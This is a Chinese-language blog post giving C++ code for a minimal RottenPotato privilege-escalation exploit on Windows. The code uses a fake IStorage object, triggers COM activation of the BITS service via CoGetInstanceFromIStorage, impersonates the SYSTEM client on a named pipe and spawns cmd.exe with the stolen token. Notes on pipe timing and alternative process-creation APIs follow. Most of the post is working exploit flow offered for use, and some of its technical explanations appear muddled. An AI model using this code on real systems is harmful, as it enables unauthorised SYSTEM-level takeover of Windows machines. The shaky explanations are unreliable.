最简 RottenPotato 原型框架”的伪代码(包括自建 IStorage,管道监听、模拟 SYSTEM)

// 伪代码,略去了错误检查、完整结构体定义和线程处理,只看原理流程
#include 
#include 
#include  // IStorage
#include    // 转储令牌
#include 

// 你定义一个假的 IStorage 对象(继承接口),这里只展示 Load 方法:
class FakeStorage : public IStorage {
public:
    ULONG STDMETHODCALLTYPE AddRef() { return 1; }
    ULONG STDMETHODCALLTYPE Release() { return 1; }
    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppvObject) {
        *ppvObject = this;
        return S_OK;
    }

    HRESULT STDMETHODCALLTYPE Load(IStream* pStm) {
        // Load 被 SYSTEM 调用时会触发,你可以记录下是否命中
        printf("[+] SYSTEM 调用了你的 Load()\n");
        return S_OK;
    }

    // 其它 IStorage 方法略,全都返回 STG_E_ACCESSDENIED 或 STG_E_INVALIDFUNCTION 即可
};

// 监听一个命名管道,等 SYSTEM 连进来
void ListenPipeAndImpersonate() {
    HANDLE hPipe = CreateNamedPipeW(L"\\\\.\\pipe\\6666", PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL);

    printf("[*] 等待 SYSTEM 连接管道...\n");
    ConnectNamedPipe(hPipe, NULL); // 阻塞等待 SYSTEM

    printf("[+] SYSTEM 连接成功,尝试模拟...\n");
    ImpersonateNamedPipeClient(hPipe);

    HANDLE hToken;
    DuplicateTokenEx(GetCurrentThreadToken(), MAXIMUM_ALLOWED, NULL, SecurityImpersonation,
        TokenPrimary, &hToken);

    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);

    // 使用 SYSTEM 的令牌创建新进程
    CreateProcessAsUserW(hToken, L"C:\\Windows\\System32\\cmd.exe",
                         NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    printf("[+] SYSTEM shell 启动成功!\n");
}

// 主函数调用 COM 激活接口
int main() {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    // 初始化 COM 安全性
    CoInitializeSecurity(NULL, -1, NULL, NULL,
                         RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
                         RPC_C_IMP_LEVEL_IMPERSONATE,
                         NULL, EOAC_NONE, NULL);

    // CLSID 是 BITS 服务(Background Intelligent Transfer Service)
    CLSID clsid;
    CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &clsid);

    // fakeStorage 是我们伪造的 IStorage 对象
    FakeStorage* fakeStorage = new FakeStorage();

    COSERVERINFO csi = { 0 };
    csi.pwszName = L"127.0.0.1"; // 激活本地的 SYSTEM 服务

    MULTI_QI mqi = { 0 };
    mqi.pIID = &IID_IUnknown;

    // 通过 COM 请求 SYSTEM 激活服务,并传入我们的 fakeStorage 接口
    HRESULT hr = CoGetInstanceFromIStorage(&csi, &clsid, NULL,
                                           CLSCTX_LOCAL_SERVER, fakeStorage,
                                           1, &mqi);

    printf("[*] 请求 COM 激活,等待命中管道...\n");

    // 启动监听线程,等 SYSTEM 连接进来
    ListenPipeAndImpersonate();

    CoUninitialize();
    return 0;
}


 

1. 管道要先创建好,不是之后再创建

你得在调用 CoGetInstanceFromIStorage() 之前CreateNamedPipe() 并监听,否则 COM 无法绑定到你的通道。

2. COM 通信默认选哪个管道?

COM 绑定规则是“当前线程的 RPC 注册表中的 listener”(比如你用 CoInitializeEx()CreateNamedPipe() 后的线程)。只要你在调用 COM 之前开好了 listener,COM 机制默认会使用你开的那个。


本代码的问题
 

1. 管道的创建顺序

理论上是需要先创建并监听管道,然后才触发 COM 服务访问管道,这样才能模拟令牌。

但是在实际实现中,有些漏洞利用代码(例如 RottenPotato)确实是先执行了 CoGetInstanceFromIStorage(),然后再创建管道和监听。为什么这么做?

这是因为 Windows 的 COM 服务在某些情况下会等待客户端连接,如果客户端连接失败(如管道没有监听),会触发异常或错误,因此这个过程并不严格按照理论流程来执行。

作者的实现方式利用了 CoGetInstanceFromIStorage() 时 COM 服务自动连接到目标服务的特性,即便管道稍后才开始监听,连接时 COM 会触发令牌模拟和 Impersonate 操作。

所以在实际利用中,虽然顺序上会先调用 CoGetInstanceFromIStorage(),但你要确保管道创建和监听的线程始终可用,以避免意外失败。

2. CreateProcessAsUserW() 与其他 API

至于提权后创建进程,烂土豆的作者主要用的是 CreateProcessAsUserW(),它是 Windows 中用来以指定的令牌创建新进程的标准 API。

然而,理论上,你确实可以使用其他函数,如 CreateProcessWithTokenW(),或者手动管理进程和令牌等。关键是,你需要有一个有效的 SYSTEM 权限令牌,并通过它来创建一个新的进程,通常是 cmd.exepowershell.exe


 

你可能感兴趣的:(网络安全)